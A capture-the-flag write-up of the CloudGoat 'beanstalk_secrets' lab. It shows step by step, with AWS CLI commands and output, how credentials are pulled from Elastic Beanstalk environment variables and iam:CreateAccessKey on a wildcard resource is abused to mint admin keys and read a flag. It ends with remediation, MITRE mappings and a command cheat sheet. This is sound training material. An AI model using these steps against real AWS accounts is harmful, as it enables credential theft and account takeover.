🄷 CloudGoat: Beanstalk Secrets (AWS CLI)

Write-up: From low-privilege user to admin (AWS CLI approach)

šŸ“… 2026-01-11

🧭 Overview

Scenario: beanstalk_secrets
Platform: CloudGoat (Rhino Security Labs)
Tools: AWS CLI (no exploitation frameworks)
Objective: Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.

āš”ļø Attack Path Summary

Low-Priv User → Beanstalk Enum → Secondary Creds → IAM Enum → CreateAccessKey → Admin → Flag

šŸ”‘ Phase 1: Initial Access

Configure Low-Privilege Profile

aws configure --profile ebs-1 # Access Key: AKIA**************** # Secret Key: EOyTyXYE/DwNCFAHmFSla5SWz**************

Validate Credentials

aws sts get-caller-identity --profile ebs-1
{ "UserId": "AIDA****************", "Account": "7912********", "Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_low_priv_user" }

šŸ”Ž Phase 2: Elastic Beanstalk Enumeration

List Applications

aws elasticbeanstalk describe-applications --profile ebs-1

Found: cgid09kivyz0ga-app - "Elastic Beanstalk application for insecure secrets scenario"

List Environments

aws elasticbeanstalk describe-environments --profile ebs-1
PropertyValue
Environmentcgid09kivyz0ga-env
Applicationcgid09kivyz0ga-app
PlatformPython 3.11 on Amazon Linux 2023
StatusReady

Extract Configuration Settings

aws elasticbeanstalk describe-configuration-settings \ --application-name cgid09kivyz0ga-app \ --environment-name cgid09kivyz0ga-env \ --query "ConfigurationSettings[0].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" \ --output table \ --profile ebs-1
NamespaceNameValue
aws:elasticbeanstalk:application:environmentPYTHONPATH/var/app/venv/staging-LQM1lest/bin
aws:elasticbeanstalk:application:environmentSECONDARY_ACCESS_KEYAKIA****************
aws:elasticbeanstalk:application:environmentSECONDARY_SECRET_KEY19jM1vKF4UQqw8vJo6FwKKxd**************

Credentials extracted from environment variables.

šŸ‘¤ Phase 3: Pivot to Secondary User

Configure Secondary Profile

aws configure --profile ebs-2 # Access Key: AKIA**************** # Secret Key: 19jM1vKF4UQqw8vJo6FwKKxd**************

Validate Credentials

aws sts get-caller-identity --profile ebs-2

Confirmed: cgid09kivyz0ga_secondary_user

šŸ—„ļø Phase 4: IAM Enumeration

Enumeration Workflow

list-users → list-attached-user-policies → get-policy → get-policy-version

List All Users

aws iam list-users --profile ebs-2
UsernameNote
cgid09kivyz0ga_admin_userTarget
cgid09kivyz0ga_low_priv_userInitial access
cgid09kivyz0ga_secondary_userCurrent user

Enumerate Secondary User's Policies

aws iam list-attached-user-policies \ --user-name cgid09kivyz0ga_secondary_user \ --profile ebs-2
{ "AttachedPolicies": [ { "PolicyName": "cgid09kivyz0ga_secondary_policy", "PolicyArn": "arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy" } ] }

Get Policy Details

aws iam get-policy \ --policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \ --profile ebs-2

Noted DefaultVersionId: v1

Extract Policy Document

aws iam get-policy-version \ --policy-arn arn:aws:iam::7912********:policy/cgid09kivyz0ga_secondary_policy \ --version-id v1 \ --profile ebs-2
{ "Statement": [ { "Action": [ "iam:CreateAccessKey" ], "Effect": "Allow", "Resource": "*" }, { "Action": [ "iam:ListRoles", "iam:GetRole", "iam:ListPolicies", "iam:GetPolicy", "iam:ListPolicyVersions", "iam:GetPolicyVersion", "iam:ListUsers", "iam:GetUser", "iam:ListGroups", "iam:GetGroup", "iam:ListAttachedUserPolicies", "iam:ListAttachedRolePolicies", "iam:GetRolePolicy" ], "Effect": "Allow", "Resource": "*" } ] }

Critical Finding

PermissionResourceImpact
iam:CreateAccessKey* (wildcard)Can create access keys for ANY user, including admin

šŸ’„ Phase 5: Privilege Escalation

Create Access Key for Admin User

aws iam create-access-key \ --user-name cgid09kivyz0ga_admin_user \ --profile ebs-2
{ "AccessKey": { "UserName": "cgid09kivyz0ga_admin_user", "AccessKeyId": "AKIA****************", "Status": "Active", "SecretAccessKey": "C8aC3UMs1rMewHHLwAHxxk4T**************" } }

Configure Admin Profile

aws configure --profile admin aws sts get-caller-identity --profile admin
{ "UserId": "AIDA****************", "Account": "7912********", "Arn": "arn:aws:iam::7912********:user/cgid09kivyz0ga_admin_user" }

Privilege escalation successful.

🚩 Phase 6: Capture the Flag

List Secrets

aws secretsmanager list-secrets --profile admin --region us-east-1

Found: cgid09kivyz0ga_final_flag

Retrieve Flag

aws secretsmanager get-secret-value \ --secret-id cgid09kivyz0ga_final_flag \ --profile admin \ --region us-east-1
FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}

šŸ“ Attack Chain Diagram

ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Low-Priv User │ │ (ebs-1 profile) │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ elasticbeanstalk:DescribeConfigurationSettings ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Beanstalk Secrets │ │ - Access Key │ │ - Secret Key │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Secondary User │ │ (ebs-2 profile) │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ iam:CreateAccessKey (Resource: *) ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ Admin User │ │ (admin profile) │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”¬ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜ │ secretsmanager:GetSecretValue ā–¼ ā”Œā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā” │ FLAG │ ā””ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”€ā”˜

🚨 Vulnerabilities Exploited

#VulnerabilityCWE
1Hardcoded credentials in Beanstalk environment variablesCWE-798
2Overly permissive IAM policy (iam:CreateAccessKey on *)CWE-732
3Lack of least privilege principleCWE-250

šŸ’” Remediation

  1. Do not store long-lived AWS credentials in environment variables - Use AWS Secrets Manager or SSM Parameter Store
  2. Restrict iam:CreateAccessKey - Scope to self only:
    { "Effect": "Allow", "Action": "iam:CreateAccessKey", "Resource": "arn:aws:iam::*:user/${aws:username}" }
  3. Enable CloudTrail alerts for CreateAccessKey API calls
  4. Regular IAM Access Analyzer scans to detect overly permissive policies

šŸŽÆ MITRE ATT&CK Mapping

TacticTechniqueID
Credential AccessUnsecured Credentials: Credentials in Files / Environment VariablesT1552.001
DiscoveryCloud Service DiscoveryT1526
Privilege EscalationValid Accounts: Cloud AccountsT1078.004
PersistenceAccount Manipulation: Additional Cloud CredentialsT1098.001

šŸ› ļø Commands Reference

# Beanstalk Enumeration aws elasticbeanstalk describe-applications aws elasticbeanstalk describe-environments aws elasticbeanstalk describe-configuration-settings --application-name X --environment-name Y # IAM Enumeration Workflow aws iam list-users aws iam list-attached-user-policies --user-name X aws iam list-user-policies --user-name X aws iam get-policy --policy-arn X aws iam get-policy-version --policy-arn X --version-id vN # Privilege Escalation aws iam create-access-key --user-name X # Secrets Manager aws secretsmanager list-secrets aws secretsmanager get-secret-value --secret-id X
Share this post on: